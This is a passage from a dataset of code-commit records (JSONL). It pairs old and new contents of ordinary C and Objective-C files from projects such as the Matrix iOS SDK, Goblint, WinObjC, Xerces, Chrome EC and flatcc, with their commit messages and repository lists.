xternal_skia,jtg-gg\/skia,DesolationStaging\/android_external_skia,MyAOSP\/external_chromium_org_third_party_skia,mydongistiny\/external_chromium_org_third_party_skia,zhaochengw\/platform_external_skia,vanish87\/skia,vanish87\/skia,Tesla-Redux\/android_external_skia,geekboxzone\/lollipop_external_skia,vanish87\/skia,Fusion-Rom\/android_external_skia,MarshedOut\/android_external_skia,HalCanary\/skia-hc,VentureROM-L\/android_external_skia,larsbergstrom\/skia,TeslaProject\/external_skia,OptiPop\/external_skia,AOSP-YU\/platform_external_skia,temasek\/android_external_skia,Euphoria-OS-Legacy\/android_external_skia,TeslaProject\/external_skia,MonkeyZZZZ\/platform_external_skia,amyvmiwei\/skia,MinimalOS\/android_external_skia,InfinitiveOS\/external_skia,w3nd1go\/android_external_skia,vvuk\/skia,Igalia\/skia,byterom\/android_external_skia,Omegaphora\/external_chromium_org_third_party_skia,google\/skia,NamelessRom\/android_external_skia,GladeRom\/android_external_skia,mmatyas\/skia,OneRom\/external_skia,boulzordev\/android_external_skia,sigysmund\/platform_external_skia,pacerom\/external_skia,houst0nn\/external_skia,AOSPB\/external_skia,TeslaProject\/external_skia,FusionSP\/external_chromium_org_third_party_skia,samuelig\/skia,Fusion-Rom\/android_external_skia,sombree\/android_external_skia,sigysmund\/platform_external_skia,android-ia\/platform_external_skia,Pure-Aosp\/android_external_skia,BrokenROM\/external_skia,Plain-Andy\/android_platform_external_skia,android-ia\/platform_external_skia,rubenvb\/skia,houst0nn\/external_skia,aosp-mirror\/platform_external_skia,mydongistiny\/android_external_skia,AOSP-YU\/platform_external_skia,AndroidOpenDevelopment\/android_external_skia,codeaurora-unoffical\/platform-external-skia,MinimalOS\/android_external_skia,Fusion-Rom\/android_external_skia,samuelig\/skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,rubenvb\/skia,chenlian2015\/skia_from_google,todotodoo\/skia,TeslaOS\/android_external_skia,DiamondLovesYou\/skia-sys,TeamBliss-LP\/android_external_skia,ctiao\/platform-external-skia,OptiPop\/external_skia,ench0\/external_chromium_org_third_party_skia,MarshedOut\/android_external_skia,Samsung\/skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,TeamExodus\/external_skia,qrealka\/skia-hc,ench0\/external_skia,temasek\/android_external_skia,sudosurootdev\/external_skia,CyanogenMod\/android_external_chromium_org_third_party_skia,FusionSP\/external_chromium_org_third_party_skia,mydongistiny\/android_external_skia,RadonX-ROM\/external_skia,Fusion-Rom\/android_external_skia,HalCanary\/skia-hc,F-AOSP\/platform_external_skia,houst0nn\/external_skia,UBERMALLOW\/external_skia,AOSPU\/external_chromium_org_third_party_skia,Igalia\/skia,UBERMALLOW\/external_skia,Fusion-Rom\/external_chromium_org_third_party_skia,todotodoo\/skia,FusionSP\/android_external_skia,rubenvb\/skia,aospo\/platform_external_skia,MinimalOS\/android_external_chromium_org_third_party_skia,MIPS\/external-chromium_org-third_party-skia,InfinitiveOS\/external_skia,Hikari-no-Tenshi\/android_external_skia,VRToxin-AOSP\/android_external_skia,Jichao\/skia,noselhq\/skia,HealthyHoney\/temasek_SKIA,Tesla-Redux\/android_external_skia,google\/skia,ominux\/skia,noselhq\/skia,NamelessRom\/android_external_skia,pcwalton\/skia,boulzordev\/android_external_skia,YUPlayGodDev\/platform_external_skia,Purity-Lollipop\/platform_external_skia,nox\/skia,Asteroid-Project\/android_external_skia,fire855\/android_external_skia,AOSPA-L\/android_external_skia,invisiblek\/android_external_skia,HealthyHoney\/temasek_SKIA,RadonX-ROM\/external_skia,DARKPOP\/external_chromium_org_third_party_skia,vvuk\/skia,BrokenROM\/external_skia,TeslaOS\/android_external_skia,Infusion-OS\/android_external_skia,wildermason\/external_skia,YUPlayGodDev\/platform_external_skia,suyouxin\/android_external_skia,FusionSP\/android_external_skia,Infusion-OS\/android_external_skia,noselhq\/skia,Hikari-no-Tenshi\/android_external_skia,CyanogenMod\/android_external_chromium_org_third_party_skia,AsteroidOS\/android_external_skia,InfinitiveOS\/external_skia,sudosurootdev\/external_skia,TeamExodus\/external_skia,AOSPA-L\/android_external_skia,ctiao\/platform-external-skia,TeslaProject\/external_skia,InfinitiveOS\/external_skia,sigysmund\/platform_external_skia,wildermason\/external_skia,scroggo\/skia,FusionSP\/android_external_skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,android-ia\/platform_external_skia,boulzordev\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,VRToxin-AOSP\/android_external_skia,MinimalOS\/android_external_skia,geekboxzone\/lollipop_external_skia,Euphoria-OS-Legacy\/android_external_skia,Fusion-Rom\/android_external_skia,jtg-gg\/skia,Igalia\/skia,PAC-ROM\/android_external_skia,Purity-Lollipop\/platform_external_skia,mydongistiny\/android_external_skia,GladeRom\/android_external_skia,wildermason\/external_skia,TeamTwisted\/external_skia,Samsung\/skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,AOSP-YU\/platform_external_skia,Hybrid-Rom\/external_skia,DARKPOP\/external_chromium_org_third_party_skia,FusionSP\/android_external_skia,akiss77\/skia,OptiPop\/external_skia,TeamExodus\/external_skia,shahrzadmn\/skia,AOSPB\/external_skia,rubenvb\/skia,invisiblek\/android_external_skia,GladeRom\/android_external_skia,ench0\/external_skia,DARKPOP\/external_chromium_org_third_party_skia,AndroidOpenDevelopment\/android_external_skia,akiss77\/skia,scroggo\/skia,todotodoo\/skia,MonkeyZZZZ\/platform_external_skia,samuelig\/skia,AOSPB\/external_skia,sombree\/android_external_skia,DiamondLovesYou\/skia-sys,OptiPop\/external_chromium_org_third_party_skia,SlimSaber\/android_external_skia,sigysmund\/platform_external_skia,sigysmund\/platform_external_skia,Euphoria-OS-Legacy\/android_external_skia,Purity-Lollipop\/platform_external_skia,FusionSP\/external_chromium_org_third_party_skia,MonkeyZZZZ\/platform_external_skia,jtg-gg\/skia,TeamEOS\/external_chromium_org_third_party_skia,Omegaphora\/external_skia,invisiblek\/android_external_skia,Euphoria-OS-Legacy\/android_external_skia,MinimalOS-AOSP\/platform_external_skia,xin3liang\/platform_external_chromium_org_third_party_skia,AOSPA-L\/android_external_skia,CyanogenMod\/android_external_chromium_org_third_party_skia,codeaurora-unoffical\/platform-external-skia,Purity-Lollipop\/platform_external_skia,aosp-mirror\/platform_external_skia,Khaon\/android_external_skia,nvoron23\/skia,OptiPop\/external_chromium_org_third_party_skia,geekboxzone\/mmallow_external_skia,jtg-gg\/skia,mydongistiny\/external_chromium_org_third_party_skia,HealthyHoney\/temasek_SKIA,mozilla-b2g\/external_skia,rubenvb\/skia,MinimalOS\/external_chromium_org_third_party_skia,nox\/skia,ench0\/external_chromium_org_third_party_skia,nvoron23\/skia,Infusion-OS\/android_external_skia,AOSPA-L\/android_external_skia,MonkeyZZZZ\/platform_external_skia,Omegaphora\/external_skia,AOSPB\/external_skia,PAC-ROM\/android_external_skia,MinimalOS\/external_chromium_org_third_party_skia,TeamEOS\/external_skia,TeslaOS\/android_external_skia,jtg-gg\/skia,MyAOSP\/external_chromium_org_third_party_skia,timduru\/platform-external-skia,qrealka\/skia-hc"}
{"commit":"22dbe8cb994cf2e10c70a81686cef72408e4d2f2","old_file":"MatrixSDK\/MatrixSDK.h","new_file":"MatrixSDK\/MatrixSDK.h","old_contents":"\/*\n Copyright 2014 OpenMarket Ltd\n \n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n \n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n \n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n *\/\n\n#if TARGET_OS_IPHONE\n#import <UIKit\/UIKit.h>\n#elif TARGET_OS_OSX\n#import <Cocoa\/Cocoa.h>\n#endif\n\n\/**\n The Matrix iOS SDK version.\n *\/\nFOUNDATION_EXPORT NSString *MatrixSDKVersion;\n\n#import <MatrixSDK\/MXRestClient.h>\n#import <MatrixSDK\/MXSession.h>\n#import <MatrixSDK\/MXError.h>\n\n#import <MatrixSDK\/MXStore.h>\n#import <MatrixSDK\/MXNoStore.h>\n#import <MatrixSDK\/MXMemoryStore.h>\n#import <MatrixSDK\/MXFileStore.h>\n#import <MatrixSDK\/MXCoreDataStore.h>\n\n#import <MatrixSDK\/MXEventsEnumeratorOnArray.h>\n#import <MatrixSDK\/MXEventsByTypesEnumeratorOnArray.h>\n\n#import <MatrixSDK\/MXLogger.h>\n\n#import \"MXTools.h\"\n#import \"NSData+MatrixSDK.h\"\n\n#import \"MXSDKOptions.h\"\n\n#import \"MXMediaManager.h\"\n\n#import \"MXLRUCache.h\"\n","new_contents":"\/*\n Copyright 2014 OpenMarket Ltd\n \n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n \n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n \n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n *\/\n\n#import <Foundation\/Foundation.h>\n\n\/**\n The Matrix iOS SDK version.\n *\/\nFOUNDATION_EXPORT NSString *MatrixSDKVersion;\n\n#import <MatrixSDK\/MXRestClient.h>\n#import <MatrixSDK\/MXSession.h>\n#import <MatrixSDK\/MXError.h>\n\n#import <MatrixSDK\/MXStore.h>\n#import <MatrixSDK\/MXNoStore.h>\n#import <MatrixSDK\/MXMemoryStore.h>\n#import <MatrixSDK\/MXFileStore.h>\n#import <MatrixSDK\/MXCoreDataStore.h>\n\n#import <MatrixSDK\/MXEventsEnumeratorOnArray.h>\n#import <MatrixSDK\/MXEventsByTypesEnumeratorOnArray.h>\n\n#import <MatrixSDK\/MXLogger.h>\n\n#import \"MXTools.h\"\n#import \"NSData+MatrixSDK.h\"\n\n#import \"MXSDKOptions.h\"\n\n#import \"MXMediaManager.h\"\n\n#import \"MXLRUCache.h\"\n","subject":"Fix build after MacOS merge","message":"Fix build after MacOS merge\n","lang":"C","license":"apache-2.0","repos":"matrix-org\/matrix-ios-sdk,matrix-org\/matrix-ios-sdk,matrix-org\/matrix-ios-sdk,matrix-org\/matrix-ios-sdk,matrix-org\/matrix-ios-sdk"}
{"commit":"d122a86c526c30d4ba4e3aa37e6d261a1e4ee827","old_file":"tests\/regression\/36-apron\/88-mine14.c","new_file":"tests\/regression\/36-apron\/88-mine14.c","old_contents":"","new_contents":"\/\/ SKIP PARAM: --set ana.activated[+] apron --set ana.path_sens[+] threadflag --sets exp.apron.privatization mutex-meet-tid --set ana.activated[-] threadJoins\n\/\/ Fig 5a from Miné 2014\n#include <pthread.h>\n#include <stdio.h>\n\nint x;\npthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;\n\nvoid *t_fun(void *arg) {\n  int top;\n  while(top) {\n    pthread_mutex_lock(&mutex);\n    if(x<100) {\n      x++;\n    }\n    pthread_mutex_unlock(&mutex);\n  }\n  return NULL;\n}\n\n\nint main(void) {\n  int top, top2;\n\n\n  pthread_t id;\n  pthread_t id2;\n  pthread_create(&id, NULL, t_fun, NULL);\n  pthread_create(&id2, NULL, t_fun, NULL);\n  pthread_mutex_lock(&mutex);\n  assert(x <= 100);\n  pthread_mutex_unlock(&mutex);\n  return 0;\n}\n","subject":"Add problematic example due to widening :'(","message":"Add problematic example due to widening :'(\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"b28a5fa199c7d4591671fcb0bf7befb19fb1db39","old_file":"src\/scanner.c","new_file":"src\/scanner.c","old_contents":"","new_contents":"#include <assert.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include \"scanner.h\"\n\n\/**\n * Opens a file in read-only mode and creates a scanner context for it.\n *\/\nScannerContext* scanner_open(char* filename)\n{\n    \/\/ open the given file\n    FILE* stream = fopen(filename, \"r\");\n    if (stream == NULL) {\n        return NULL;\n    }\n\n    \/\/ create a context pointer\n    ScannerContext* context = (ScannerContext*)malloc(sizeof(ScannerContext));\n    context->line = 0;\n    context->column = 0;\n    context->stream = stream;\n\n    return context;\n}\n\n\/**\n * Opens a string as a stream and creates a scanner context for it.\n *\/\nScannerContext* scanner_open_string(char* string)\n{\n    \/\/ create a stream for the char array\n    FILE* stream = fmemopen(string, strlen(string), \"r\");\n    if (stream == NULL) {\n        return NULL;\n    }\n\n    \/\/ create a context pointer\n    ScannerContext* context = (ScannerContext*)malloc(sizeof(ScannerContext));\n    context->line = 0;\n    context->column = 0;\n    context->stream = stream;\n\n    return context;\n}\n\n\/**\n * Closes a scanner context and its associated input stream.\n *\/\nError scanner_close(ScannerContext* context)\n{\n    \/\/ context shouldn't be null\n    assert(context != NULL);\n\n    \/\/ close the stream handle\n    fclose(context->stream);\n\n    \/\/ free the pointer\n    free(context);\n\n    return E_SUCCESS;\n}\n","subject":"Add basic ScannerContext create \/ destroy functions","message":"Add basic ScannerContext create \/ destroy functions\n","lang":"C","license":"mit","repos":"coderstephen\/walrus,coderstephen\/walrus,coderstephen\/walrus"}
{"commit":"957af5527c4f23072b84384e2d972429a6b7be09","old_file":"main.c","new_file":"main.c","old_contents":"#include<stdio.h>\n#include<stdlib.h>\n\nstruct node {\n  int data;\n  struct node* next;\n};\n\nint Length(struct node* head) {\n  int count = 0;\n  struct node* current = head;\n  while (current != NULL) {\n    count++;\n    current=current->next;\n  }\n  return(count);\n}\n\/\/ Given a reference (pointer to pointer) to the head\n\/\/ of a list and an int, push a new node on the front of the list.\n\/\/ Creates a new node with the int, links the list off the .next of the\n\/\/ new node, and finally changes the head to point to the new node.\nvoid Push(struct node** headRef, int newData) {\n  struct node* newNode = (struct node*) malloc(sizeof(struct node)); \/\/ allocate node\n  newNode->data = newData;\/\/ put in the data\n  newNode->next = (*headRef);\/\/ link the old list off the new node\n  (*headRef) = newNode;\/\/ move the head to point to the new node\n}\n\/\/ Build and return the list {1, 2, 3}\nstruct node* BuildOneTwoThree() {\n  struct node* head = NULL;\/\/ Start with the empty list\n  Push(&head, 3);\/\/ Use Push() to add all the data\n  Push(&head, 2);\n  Push(&head, 1);\n  return(head);\n}\n\nint main() {\n\n  return 0;\n}\n","new_contents":"#include<stdio.h>\n#include<stdlib.h>\n#include<assert.h>\n\nstruct node {\n  int data;\n  struct node* next;\n};\n\nint Length(struct node* head) {\n  int count = 0;\n  struct node* current = head;\n  while (current != NULL) {\n    count++;\n    current=current->next;\n  }\n  return(count);\n}\n\/\/ Given a reference (pointer to pointer) to the head\n\/\/ of a list and an int, push a new node on the front of the list.\n\/\/ Creates a new node with the int, links the list off the .next of the\n\/\/ new node, and finally changes the head to point to the new node.\nvoid Push(struct node** headRef, int newData) {\n  struct node* newNode = (struct node*) malloc(sizeof(struct node)); \/\/ allocate node\n  newNode->data = newData;\/\/ put in the data\n  newNode->next = (*headRef);\/\/ link the old list off the new node\n  (*headRef) = newNode;\/\/ move the head to point to the new node\n}\n\/\/ Build and return the list {1, 2, 3}\nstruct node* BuildOneTwoThree() {\n  struct node* head = NULL;\/\/ Start with the empty list\n  Push(&head, 3);\/\/ Use Push() to add all the data\n  Push(&head, 2);\n  Push(&head, 1);\n  return(head);\n}\n\n\/\/1 - Count()\n\/\/Builds a list and counts the number of times a given int occurs\nint Count(struct node* head, int search) {\n  return 0;\n}\n\nvoid CountTest() {\n  struct node* list;\n  list = BuildOneTwoThree();\n  int count = Count(list, 2);\n  assert(count == 1);\n}\n\nint main() {\n  CountTest();\n  return 0;\n}\n","subject":"Write failing assert for count","message":"Write failing assert for count\n","lang":"C","license":"mit","repos":"wlaurance\/c-practice"}
{"commit":"caf4ad66a4a7fac322753baae0057df99a5971fd","old_file":"include\/Social\/SLComposeSheetConfigurationItem.h","new_file":"include\/Social\/SLComposeSheetConfigurationItem.h","old_contents":"\/\/******************************************************************************\n\/\/\n\/\/ Copyright (c) 2016 Microsoft Corporation. All rights reserved.\n\/\/\n\/\/ This code is licensed under the MIT License (MIT).\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\/\/ THE SOFTWARE.\n\/\/\n\/\/******************************************************************************\n#pragma once\n\n#import <Social\/SocialExport.h>\n\n@class NSString;\n\ntypedef void (^SLComposeSheetConfigurationItemTapHandler)(void);\n\nSOCIAL_EXPORT_CLASS\n@interface SLComposeSheetConfigurationItem : NSObject\n@property (copy, nonatomic) SLComposeSheetConfigurationItemTapHandler tapHandler STUB_PROPERTY;\n@property (copy, nonatomic) NSString* title STUB_PROPERTY;\n@property (copy, nonatomic) NSString* value STUB_PROPERTY;\n@property (assign, nonatomic) BOOL valuePending STUB_PROPERTY;\n- (instancetype)init STUB_METHOD;\n@end\n","new_contents":"\/\/******************************************************************************\n\/\/\n\/\/ Copyright (c) 2016 Microsoft Corporation. All rights reserved.\n\/\/\n\/\/ This code is licensed under the MIT License (MIT).\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\/\/ THE SOFTWARE.\n\/\/\n\/\/******************************************************************************\n#pragma once\n\n#import <Social\/SocialExport.h>\n#import <Foundation\/NSObject.h>\n\n@class NSString;\n\ntypedef void (^SLComposeSheetConfigurationItemTapHandler)(void);\n\nSOCIAL_EXPORT_CLASS\n@interface SLComposeSheetConfigurationItem : NSObject\n@property (copy, nonatomic) SLComposeSheetConfigurationItemTapHandler tapHandler STUB_PROPERTY;\n@property (copy, nonatomic) NSString* title STUB_PROPERTY;\n@property (copy, nonatomic) NSString* value STUB_PROPERTY;\n@property (assign, nonatomic) BOOL valuePending STUB_PROPERTY;\n- (instancetype)init STUB_METHOD;\n@end\n","subject":"Fix Social framework headers to be self-contained.","message":"Fix Social framework headers to be self-contained.\n","lang":"C","license":"mit","repos":"pradipd\/WinObjC,yweijiang\/WinObjC,nathpete-msft\/WinObjC,Microsoft\/WinObjC,s5msft\/WinObjC,bbowman\/WinObjC,vkvenkat\/WinObjC,Microsoft\/WinObjC,ehren\/WinObjC,MSFTFox\/WinObjC,yweijiang\/WinObjC,vkvenkat\/WinObjC,autodesk-forks\/WinObjC,s5msft\/WinObjC,afaruqui\/WinObjC,pradipd\/WinObjC,bbowman\/WinObjC,bSr43\/WinObjC,autodesk-forks\/WinObjC,s5msft\/WinObjC,nathpete-msft\/WinObjC,bSr43\/WinObjC,vkvenkat\/WinObjC,MSFTFox\/WinObjC,rajsesh-msft\/WinObjC,s5msft\/WinObjC,ehren\/WinObjC,autodesk-forks\/WinObjC,MSFTFox\/WinObjC,nathpete-msft\/WinObjC,ehren\/WinObjC,pradipd\/WinObjC,Microsoft\/WinObjC,bbowman\/WinObjC,bSr43\/WinObjC,MSFTFox\/WinObjC,rajsesh-msft\/WinObjC,Microsoft\/WinObjC,vkvenkat\/WinObjC,nathpete-msft\/WinObjC,rajsesh-msft\/WinObjC,yweijiang\/WinObjC,rajsesh-msft\/WinObjC,autodesk-forks\/WinObjC,bbowman\/WinObjC,bSr43\/WinObjC,pradipd\/WinObjC,yweijiang\/WinObjC,ehren\/WinObjC,bbowman\/WinObjC,nathpete-msft\/WinObjC,afaruqui\/WinObjC,afaruqui\/WinObjC,pradipd\/WinObjC,afaruqui\/WinObjC,ehren\/WinObjC"}
{"commit":"31b16f3e9477bfadf93704055e7395d55196eaf5","old_file":"Projects\/MacOS\/ProjectBuilder\/XercesSamples\/xerces_sample_prefix.h","new_file":"Projects\/MacOS\/ProjectBuilder\/XercesSamples\/xerces_sample_prefix.h","old_contents":"","new_contents":"\/*\n * The Apache Software License, Version 1.1\n *\n * Copyright (c) 2001-2002 The Apache Software Foundation.  All rights\n * reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n *\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in\n *    the documentation and\/or other materials provided with the\n *    distribution.\n *\n * 3. The end-user documentation included with the redistribution,\n *    if any, must include the following acknowledgment:\n *       \"This product includes software developed by the\n *        Apache Software Foundation (http:\/\/www.apache.org\/).\"\n *    Alternately, this acknowledgment may appear in the software itself,\n *    if and wherever such third-party acknowledgments normally appear.\n *\n * 4. The names \"Xerces\" and \"Apache Software Foundation\" must\n *    not be used to endorse or promote products derived from this\n *    software without prior written permission. For written\n *    permission, please contact apache\\@apache.org.\n *\n * 5. Products derived from this software may not be called \"Apache\",\n *    nor may \"Apache\" appear in their name, without prior written\n *    permission of the Apache Software Foundation.\n *\n * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED\n * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED.  IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR\n * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF\n * USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT\n * OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n * ====================================================================\n *\n * This software consists of voluntary contributions made by many\n * individuals on behalf of the Apache Software Foundation, and was\n * originally based on software copyright (c) 2001, International\n * Business Machines, Inc., http:\/\/www.ibm.com .  For more information\n * on the Apache Software Foundation, please see\n * <http:\/\/www.apache.org\/>.\n *\/\n\n\/*\n * $Id$\n *\/\n\n\/\/\tObjective C only\n#if __OBJC__\n#endif\n\n\/\/\tC++ only\n#if defined(__cplusplus)\n#include <algorithm>\n#include <cstring>\n#include <cstdlib>\n#include <cctype>\n#include <cstdio>\n#include <memory>\n#endif\n\n\/\/\tStandard C headers\n#include <stddef.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdlib.h>\n\n\/\/\tCarbon Headers\n#include <Carbon\/Carbon.h>\n#include <CoreFoundation\/CoreFoundation.h>\n","subject":"Add prefix file for ProjectBuilder samples","message":"Add prefix file for ProjectBuilder samples\n\n\ngit-svn-id: 95233098a850bdf68e142cb551b6b3e756f38fc7@174526 13f79535-47bb-0310-9956-ffa450edef68\n","lang":"C","license":"apache-2.0","repos":"svn2github\/xerces-c,svn2github\/xerces-c,svn2github\/xerces-c,svn2github\/xerces-c,svn2github\/xerces-c"}
{"commit":"e2d6f3833127d478d15ac36e2336a92b1863d65f","old_file":"board\/bip\/board.h","new_file":"board\/bip\/board.h","old_contents":"\/* Copyright 2018 The Chromium OS Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n\/* Bip board configuration *\/\n\n#ifndef __CROS_EC_BOARD_H\n#define __CROS_EC_BOARD_H\n\n\/* Select Baseboard features *\/\n#define VARIANT_OCTOPUS_EC_ITE8320\n#define VARIANT_OCTOPUS_CHARGER_BQ25703\n#include \"baseboard.h\"\n\n\/* Optional features *\/\n#define CONFIG_SYSTEM_UNLOCKED \/* Allow dangerous commands while in dev. *\/\n\n\/* Hardware for proto bip does not support ec keyboard backlight control. *\/\n#undef CONFIG_PWM\n#undef CONFIG_PWM_KBLIGHT\n\n#ifndef __ASSEMBLER__\n\n#include \"gpio_signal.h\"\n#include \"registers.h\"\n\nenum adc_channel {\n\tADC_VBUS_C0,\n\tADC_VBUS_C1,\n\tADC_CH_COUNT\n};\n\n\/* List of possible batteries *\/\nenum battery_type {\n\tBATTERY_PANASONIC,\n\tBATTERY_SANYO,\n\tBATTERY_TYPE_COUNT,\n};\n\n#endif \/* !__ASSEMBLER__ *\/\n\n#endif \/* __CROS_EC_BOARD_H *\/\n","new_contents":"\/* Copyright 2018 The Chromium OS Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n\/* Bip board configuration *\/\n\n#ifndef __CROS_EC_BOARD_H\n#define __CROS_EC_BOARD_H\n\n\/* Select Baseboard features *\/\n#define VARIANT_OCTOPUS_EC_ITE8320\n#define VARIANT_OCTOPUS_CHARGER_BQ25703\n#include \"baseboard.h\"\n\n\/* Optional features *\/\n#define CONFIG_SYSTEM_UNLOCKED \/* Allow dangerous commands while in dev. *\/\n\n\/* Hardware for proto bip does not support ec keyboard backlight control. *\/\n#undef CONFIG_PWM\n#undef CONFIG_PWM_KBLIGHT\n\n#undef CONFIG_UART_TX_BUF_SIZE\n#define CONFIG_UART_TX_BUF_SIZE 4096\n\n#ifndef __ASSEMBLER__\n\n#include \"gpio_signal.h\"\n#include \"registers.h\"\n\nenum adc_channel {\n\tADC_VBUS_C0,\n\tADC_VBUS_C1,\n\tADC_CH_COUNT\n};\n\n\/* List of possible batteries *\/\nenum battery_type {\n\tBATTERY_PANASONIC,\n\tBATTERY_SANYO,\n\tBATTERY_TYPE_COUNT,\n};\n\n#endif \/* !__ASSEMBLER__ *\/\n\n#endif \/* __CROS_EC_BOARD_H *\/\n","subject":"Increase UART transmit buffer size","message":"bip: Increase UART transmit buffer size\n\nWith this patch, we can get the completed\nmessages during system boot. If the size\nof tx buffer is too small, the messages will\nprint overwritten.\n\nBUG=none\nBRANCH=none\nTEST=The serial console can check message\n     during system reboot.\n\nChange-Id: I37902096baeeb678b696d9a4acce1e048d2105a6\nSigned-off-by: tim <38846f7070d5770410e9ef8b439c72e7b53a72c5@ite.corp-partner.google.com>\nReviewed-on: https:\/\/chromium-review.googlesource.com\/1098740\nCommit-Ready: Tim2 Lin <38846f7070d5770410e9ef8b439c72e7b53a72c5@ite.corp-partner.google.com>\nTested-by: Tim2 Lin <38846f7070d5770410e9ef8b439c72e7b53a72c5@ite.corp-partner.google.com>\nReviewed-by: Jett Rink <9d4aef0593e6843318d99df31597fb6153b89787@chromium.org>\n","lang":"C","license":"bsd-3-clause","repos":"coreboot\/chrome-ec,coreboot\/chrome-ec,coreboot\/chrome-ec,coreboot\/chrome-ec,coreboot\/chrome-ec,coreboot\/chrome-ec"}
{"commit":"e093455d8fb03bdb6185f23fade9323464c1106f","old_file":"include\/flatcc\/portable\/pcrt.h","new_file":"include\/flatcc\/portable\/pcrt.h","old_contents":"","new_contents":"#ifndef PCRT_H\n#define PCRT_H\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n\n\/*\n * Assertions and pointer violations in debug mode may trigger a dialog\n * on Windows. When running headless this is not helpful, but\n * unfortunately it cannot be disabled with a compiler option so code\n * must be injected into the runtime early in the main function.\n * A call to the provided `init_headless_crt()` macro does this in\n * a portable manner.\n *\n * See also:\n * https:\/\/stackoverflow.com\/questions\/13943665\/how-can-i-disable-the-debug-assertion-dialog-on-windows\n *\/\n\n#if defined(_WIN32)\n\n#include <crtdbg.h>\n#include <stdio.h>\n#include <stdlib.h>\n\nstatic int _portable_msvc_headless_report_hook(\n        int reportType, char *message, int *returnValue )\n{\n    fprintf(stderr, \"CRT[%d]: %s\\n\", reportType, message);\n    *returnValue = 1;\n    exit(1);\n}\n\n#define init_headless_crt() _CrtSetReportHook(_portable_msvc_headless_report_hook)\n\n#else\n\n#define init_headless_crt() ((void)0)\n\n#endif\n\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif \/* PCRT_H *\/\n","subject":"Add portable file to handle headless asserts etc. on Windows","message":"Add portable file to handle headless asserts etc. on Windows\n","lang":"C","license":"apache-2.0","repos":"dvidelabs\/flatcc,dvidelabs\/flatcc,dvidelabs\/flatcc"}
